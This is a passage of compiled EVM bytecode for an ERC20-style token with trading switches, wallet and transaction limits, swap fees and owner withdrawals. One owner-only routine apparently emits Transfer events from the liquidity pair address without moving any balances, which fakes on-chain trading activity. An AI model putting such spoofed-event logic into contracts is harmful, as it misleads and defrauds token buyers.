560514610829578063f2fde38b14610854578063f8b45b051461087d578063ffb54a99146108a857610230565b8063c2b7bbb61461072f578063c4590d3f14610758578063c8c8ebe414610781578063c9567bf9146107ac578063dd62ed3e146107c357610230565b80639a7a23d6116100f25780639a7a23d61461063a578063a457c2d714610663578063a9059cbb146106a0578063afa4f3b2146106dd578063b70143c91461070657610230565b806373fa7ddb146105925780637571336a146105bb5780638da5cb5b146105e457806395d89b411461060f57610230565b806342966c68116101b1578063583e056811610175578063583e0568146104bf5780635d098b38146104ea5780636ddd17131461051357806370a082311461053e578063715018a61461057b57610230565b806342966c68146103ec578063470624021461041557806349bd5a5e146104405780634d54557f1461046b5780634fbee1931461048257610230565b806326ededb8116101f857806326ededb8146103055780632b14ca561461032e578063311028af14610359578063313ce5671461038457806339509351146103af57610230565b806306fdde0314610235578063095ea7b31461026057806318160ddd1461029d57806323b872dd146102c857610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108d3565b6040516102579190612de7565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612eb1565b610965565b6040516102949190612f0c565b60405180910390f35b3480156102a957600080fd5b506102b2610988565b6040516102bf9190612f36565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190612f51565b610992565b6040516102fc9190612f0c565b60405180910390f35b34801561031157600080fd5b5061032c60048036038101906103279190613009565b6109c1565b005b34801561033a57600080fd5b50610343610af7565b6040516103509190612f36565b60405180910390f35b34801561036557600080fd5b5061036e610afd565b60405161037b9190612f36565b60405180910390f35b34801561039057600080fd5b50610399610b03565b6040516103a69190613085565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190612eb1565b610b0c565b6040516103e39190612f0c565b60405180910390f35b3480156103f857600080fd5b50610413600480360381019061040e91906130a0565b610b43565b005b34801561042157600080fd5b5061042a610b57565b6040516104379190612f36565b60405180910390f35b34801561044c57600080fd5b50610455610b5d565b60405161046291906130dc565b60405180910390f35b34801561047757600080fd5b50610480610b83565b005b34801561048e57600080fd5b506104a960048036038101906104a491906130f7565b610c70565b6040516104b69190612f0c565b60405180910390f35b3480156104cb57600080fd5b506104d4610cc6565b6040516104e19190613183565b60405180910390f35b3480156104f657600080fd5b50610511600480360381019061050c91906130f7565b610cea565b005b34801561051f57600080fd5b50610528610d8f565b6040516105359190612f0c565b60405180910390f35b34801561054a57600080fd5b50610565600480360381019061056091906130f7565b610da2565b6040516105729190612f36565b60405180910390f35b34801561058757600080fd5b50610590610dea565b005b34801561059e57600080fd5b506105b960048036038101906105b49190613308565b610dfe565b005b3480156105c757600080fd5b506105e260048036038101906105dd9190613364565b610f5c565b005b3480156105f057600080fd5b506105f9610fbf565b60405161060691906130dc565b60405180910390f35b34801561061b57600080fd5b50610624610fe9565b6040516106319190612de7565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190613364565b61107b565b005b34801561066f57600080fd5b5061068a60048036038101906106859190612eb1565b611121565b6040516106979190612f0c565b60405180910390f35b3480156106ac57600080fd5b506106c760048036038101906106c29190612eb1565b611198565b6040516106d49190612f0c565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff91906130a0565b6111bb565b005b34801561071257600080fd5b5061072d600480360381019061072891906130a0565b611244565b005b34801561073b57600080fd5b50610756600480360381019061075191906130f7565b6112dc565b005b34801561076457600080fd5b5061077f600480360381019061077a91906133a4565b611382565b005b34801561078d57600080fd5b506107966113d8565b6040516107a39190612f36565b60405180910390f35b3480156107b857600080fd5b506107c16113de565b005b3480156107cf57600080fd5b506107ea60048036038101906107e591906133e4565b61141e565b6040516107f79190612f36565b60405180910390f35b34801561080c57600080fd5b50610827600480360381019061082291906130f7565b6114a5565b005b34801561083557600080fd5b5061083e6116bd565b60405161084b9190612f36565b60405180910390f35b34801561086057600080fd5b5061087b600480360381019061087691906130f7565b6116c3565b005b34801561088957600080fd5b50610892611746565b60405161089f9190612f36565b60405180910390f35b3480156108b457600080fd5b506108bd61174c565b6040516108ca9190612f0c565b60405180910390f35b6060600380546108e290613453565b80601f016020809104026020016040519081016040528092919081815260200182805461090e90613453565b801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b5050505050905090565b60008061097061175f565b905061097d818585611767565b600191505092915050565b6000600254905090565b60008061099d61175f565b90506109aa858285611930565b6109b58585856119bc565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a0261175f565b73ffffffffffffffffffffffffffffffffffffffff1614610a2257600080fd5b60005b83839050811015610af157838382818110610a4357610a42613484565b5b9050602002016020810190610a5891906130f7565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ad69190612f36565b60405180910390a38080610ae9906134e2565b915050610a25565b50505050565b600f5481565b600a5481565b60006009905090565b600080610b1761175f565b9050610b38818585610b29858961141e565b610b33919061352a565b611767565b600191505092915050565b610b54610b4e61175f565b826123c6565b50565b60105481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60004711610bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbd906135aa565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0761175f565b73ffffffffffffffffffffffffffffffffffffffff1614610c2757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c6d573d6000803e3d6000fd5b50565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d2b61175f565b73ffffffffffffffffffffffffffffffffffffffff1614610d4b57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610df2612593565b610dfc6000612611565b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e3f61175f565b73ffffffffffffffffffffffffffffffffffffffff1614610e5f57600080fd5b60005b8251811015610f57578160146000858481518110610e8357610e82613484565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610eef57610eee613484565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df783604051610f3c9190612f0c565b60405180910390a28080610f4f906134e2565b915050610e62565b505050565b610f64612593565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610ff890613453565b80601f016020809104026020016040519081016040528092919081815260200182805461102490613453565b80156110715780601f1061104657610100808354040283529160200191611071565b820191906000526020600020905b81548152906001019060200180831161105457829003601f168201915b5050505050905090565b611083612593565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110a9061363c565b60405180910390fd5b61111d82826126d7565b5050565b60008061112c61175f565b9050600061113a828661141e565b90508381101561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611176906136ce565b60405180910390fd5b61118c8286868403611767565b60019250505092915050565b6000806111a361175f565b90506111b08185856119bc565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111fc61175f565b73ffffffffffffffffffffffffffffffffffffffff161461121c57600080fd5b611224610b03565b600a6112309190613821565b8161123b919061386c565b600b8190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661128561175f565b73ffffffffffffffffffffffffffffffffffffffff16146112a557600080fd5b60006112b030610da2565b90506000606483836112c2919061386c565b6112cc91906138dd565b90506112d781612778565b505050565b6112e4612593565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611352600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610f5c565b61137f600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016126d7565b50565b61138a612593565b611392610b03565b600a61139e9190613821565b826113a9919061386c565b600d819055506113b7610b03565b600a6113c39190613821565b816113ce919061386c565b600c819055505050565b600d5481565b6113e6612593565b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114e661175f565b73ffffffffffffffffffffffffffffffffffffffff161461150657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161154191906130dc565b602060405180830381865afa15801561155e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115829190613923565b116115c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b99061399c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161161891906130dc565b602060405180830381865afa158015611635573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116599190613923565b6040518363ffffffff1660e01b81526004016116769291906139bc565b6020604051808303816000875af1158015611695573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b991906139fa565b5050565b600b5481565b6116cb612593565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361173a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173190613a99565b60405180910390fd5b61174381612611565b50565b600c5481565b600e60019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90613b2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611845576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183c90613bbd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119239190612f36565b60405180910390a3505050565b600061193c848461141e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119b657818110156119a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199f90613c29565b60405180910390fd5b6119b58484848403611767565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2290613cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9190613d4d565b60405180910390fd5b60008103611ab357611aae838360006129d7565b6123c1565b611abb610fbf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b295750611af9610fbf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b625750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b9c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb55750600860149054906101000a900460ff16155b15611fdc57600e60019054906101000a900460ff16611caf57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c6f5750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca590613db9565b60405180910390fd5b5b43601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d965750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e3d57600d54811115611de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd790613e4b565b60405180910390fd5b600c54611dec83610da2565b82611df7919061352a565b1115611e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2f90613eb7565b60405180910390fd5b611fdb565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ee05750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2f57600d54811115611f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2190613f49565b60405180910390fd5b611fda565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611fd957600c54611f8c83610da2565b82611f97919061352a565b1115611fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcf90613eb7565b60405180910390fd5b5b5b5b5b6000611fe730610da2565b90506000600b548211905080801561200b5750600e60009054906101000a900460ff165b80156120245750600860149054906101000a900460ff16155b801561207a5750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120d05750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121265750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561216a576001600860146101000a81548160ff02191690831515021790555061214e612c4d565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff161580156121d25750601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156122285750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90506000811561235557601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122b3576122ac606461229e600f5488612c8b90919063ffffffff16565b612ca190919063ffffffff16565b9050612331565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123305761232d606461231f60105488612c8b90919063ffffffff16565b612ca190919063ffffffff16565b90505b5b6000811115612346576123458730836129d7565b5b80856123529190613f69565b94505b601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123b1576123b087612cb7565b5b6123bc8787876129d7565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242c9061400f565b60405180910390fd5b61244182600083612d41565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156124c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124be906140a1565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161257a9190612f36565b60405180910390a361258e83600084612d46565b505050565b61259b61175f565b73ffffffffffffffffffffffffffffffffffffffff166125b9610fbf565b73ffffffffffffffffffffffffffffffffffffffff161461260f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126069061410d565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600267ffffffffffffffff8111156127955761279461319e565b5b6040519080825280602002602001820160405280156127c35781602001602082028036833780820191505090505b50905030816000815181106127db576127da613484565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612880573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128a49190614142565b816001815181106128b8576128b7613484565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061291d307f000000000000000000000000000000000000000000000000000000000000000084611767565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129a1959493929190614268565b600060405180830381600087803b1580156129bb57600080fd5b505af11580156129cf573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3d90613cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aac90613d4d565b60405180910390fd5b612ac0838383612d41565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3d90614334565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c349190612f36565b60405180910390a3612c47848484612d46565b50505050565b6000612c5830610da2565b905060008103612c685750612c89565b6000819050600b54811115612c7d57600b5490505b612c8681612778565b50505b565b60008183612c99919061386c565b905092915050565b60008183612caf91906138dd565b905092915050565b612cff601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d4b565b612d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d35906143c6565b60405180910390fd5b50565b505050565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d91578082015181840152602081019050612d76565b60008484015250505050565b6000601f19601f8301169050919050565b6000612db982612d57565b612dc38185612d62565b9350612dd3818560208601612d73565b612ddc81612d9d565b840191505092915050565b60006020820190508181036000830152612e018184612dae565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e4882612e1d565b9050919050565b612e5881612e3d565b8114612e6357600080fd5b50565b600081359050612e7581612e4f565b92915050565b6000819050919050565b612e8e81612e7b565b8114612e9957600080fd5b50565b600081359050612eab81612e85565b92915050565b60008060408385031215612ec857612ec7612e13565b5b6000612ed685828601612e66565b9250506020612ee785828601612e9c565b9150509250929050565b60008115159050919050565b612f0681612ef1565b82525050565b6000602082019050612f216000830184612efd565b92915050565b612f3081612e7b565b82525050565b6000602082019050612f4b6000830184612f27565b92915050565b600080600060608486031215612f6a57612f69612e13565b5b6000612f7886828701612e66565b9350506020612f8986828701612e66565b9250506040612f9a86828701612e9c565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612fc957612fc8612fa4565b5b8235905067ffffffffffffffff811115612fe657612fe5612fa9565b5b60208301915083602082028301111561300257613001612fae565b5b9250929050565b60008060006040848603121561302257613021612e13565b5b600084013567ffffffffffffffff8111156130405761303f612e18565b5b61304c86828701612fb3565b9350935050602061305f86828701612e9c565b9150509250925092565b600060ff82169050919050565b61307f81613069565b82525050565b600060208201905061309a6000830184613076565b92915050565b6000602082840312156130b6576130b5612e13565b5b60006130c484828501612e9c565b91505092915050565b6130d681612e3d565b82525050565b60006020820190506130f160008301846130cd565b92915050565b60006020828403121561310d5761310c612e13565b5b600061311b84828501612e66565b91505092915050565b6000819050919050565b600061314961314461313f84612e1d565b613124565b612e1d565b9050919050565b600061315b8261312e565b9050919050565b600061316d82613150565b9050919050565b61317d81613162565b82525050565b60006020820190506131986000830184613174565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6131d682612d9d565b810181811067ffffffffffffffff821117156131f5576131f461319e565b5b80604052505050565b6000613208612e09565b905061321482826131cd565b919050565b600067ffffffffffffffff8211156132345761323361319e565b5b602082029050602081019050919050565b600061325861325384613219565b6131fe565b9050808382526020820190506020840283018581111561327b5761327a612fae565b5b835b818110156132a457806132908882612e66565b84526020840193505060208101905061327d565b5050509392505050565b600082601f8301126132c3576132c2612fa4565b5b81356132d3848260208601613245565b91505092915050565b6132e581612ef1565b81146132f057600080fd5b50565b600081359050613302816132dc565b92915050565b6000806040838503121561331f5761331e612e13565b5b600083013567ffffffffffffffff81111561333d5761333c612e18565b5b613349858286016132ae565b925050602061335a858286016132f3565b9150509250929050565b6000806040838503121561337b5761337a612e13565b5b600061338985828601612e66565b925050602061339a858286016132f3565b9150509250929050565b600080604083850312156133bb576133ba612e13565b5b60006133c985828601612e9c565b92505060206133da85828601612e9c565b9150509250929050565b600080604083850312156133fb576133fa612e13565b5b600061340985828601612e66565b925050602061341a85828601612e66565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061346b57607f821691505b60208210810361347e5761347d613424565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134ed82612e7b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361351f5761351e6134b3565b5b600182019050919050565b600061353582612e7b565b915061354083612e7b565b9250828201905080821115613558576135576134b3565b5b92915050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b6000613594601683612d62565b915061359f8261355e565b602082019050919050565b600060208201905081810360008301526135c381613587565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613626603983612d62565b9150613631826135ca565b604082019050919050565b6000602082019050818103600083015261365581613619565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006136b8602583612d62565b91506136c38261365c565b604082019050919050565b600060208201905081810360008301526136e7816136ab565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561374557808604811115613721576137206134b3565b5b60018516156137305780820291505b808102905061373e856136ee565b9450613705565b94509492505050565b60008261375e576001905061381a565b8161376c576000905061381a565b8160018114613782576002811461378c576137bb565b600191505061381a565b60ff84111561379e5761379d6134b3565b5b8360020a9150848211156137b5576137b46134b3565b5b5061381a565b5060208310610133831016604e8410600b84101617156137f05782820a9050838111156137eb576137ea6134b3565b5b61381a565b6137fd84848460016136fb565b92509050818404811115613814576138136134b3565b5b81810290505b9392505050565b600061382c82612e7b565b915061383783613069565b92506138647fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461374e565b905092915050565b600061387782612e7b565b915061388283612e7b565b925082820261389081612e7b565b915082820484148315176138a7576138a66134b3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138e882612e7b565b91506138f383612e7b565b925082613903576139026138ae565b5b828204905092915050565b60008151905061391d81612e85565b92915050565b60006020828403121561393957613938612e13565b5b60006139478482850161390e565b91505092915050565b7f43616e2774207769746864726177203000000000000000000000000000000000600082015250565b6000613986601083612d62565b915061399182613950565b602082019050919050565b600060208201905081810360008301526139b581613979565b9050919050565b60006040820190506139d160008301856130cd565b6139de6020830184612f27565b9392505050565b6000815190506139f4816132dc565b92915050565b600060208284031215613a1057613a0f612e13565b5b6000613a1e848285016139e5565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613a83602683612d62565b9150613a8e82613a27565b604082019050919050565b60006020820190508181036000830152613ab281613a76565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b15602483612d62565b9150613b2082613ab9565b604082019050919050565b60006020820190508181036000830152613b4481613b08565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ba7602283612d62565b9150613bb282613b4b565b604082019050919050565b60006020820190508181036000830152613bd681613b9a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613c13601d83612d62565b9150613c1e82613bdd565b602082019050919050565b60006020820190508181036000830152613c4281613c06565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ca5602583612d62565b9150613cb082613c49565b604082019050919050565b60006020820190508181036000830152613cd481613c98565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d37602383612d62565b9150613d4282613cdb565b604082019050919050565b60006020820190508181036000830152613d6681613d2a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613da3601683612d62565b9150613dae82613d6d565b602082019050919050565b60006020820190508181036000830152613dd281613d96565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613e35603583612d62565b9150613e4082613dd9565b604082019050919050565b60006020820190508181036000830152613e6481613e28565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613ea1601383612d62565b9150613eac82613e6b565b602082019050919050565b60006020820190508181036000830152613ed081613e94565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613f33603683612d62565b9150613f3e82613ed7565b604082019050919050565b60006020820190508181036000830152613f6281613f26565b9050919050565b6000613f7482612e7b565b9150613f7f83612e7b565b9250828203905081811115613f9757613f966134b3565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ff9602183612d62565b915061400482613f9d565b604082019050919050565b6000602082019050818103600083015261402881613fec565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061408b602283612d62565b91506140968261402f565b604082019050919050565b600060208201905081810360008301526140ba8161407e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006140f7602083612d62565b9150614102826140c1565b602082019050919050565b60006020820190508181036000830152614126816140ea565b9050919050565b60008151905061413c81612e4f565b92915050565b60006020828403121561415857614157612e13565b5b60006141668482850161412d565b91505092915050565b6000819050919050565b600061419461418f61418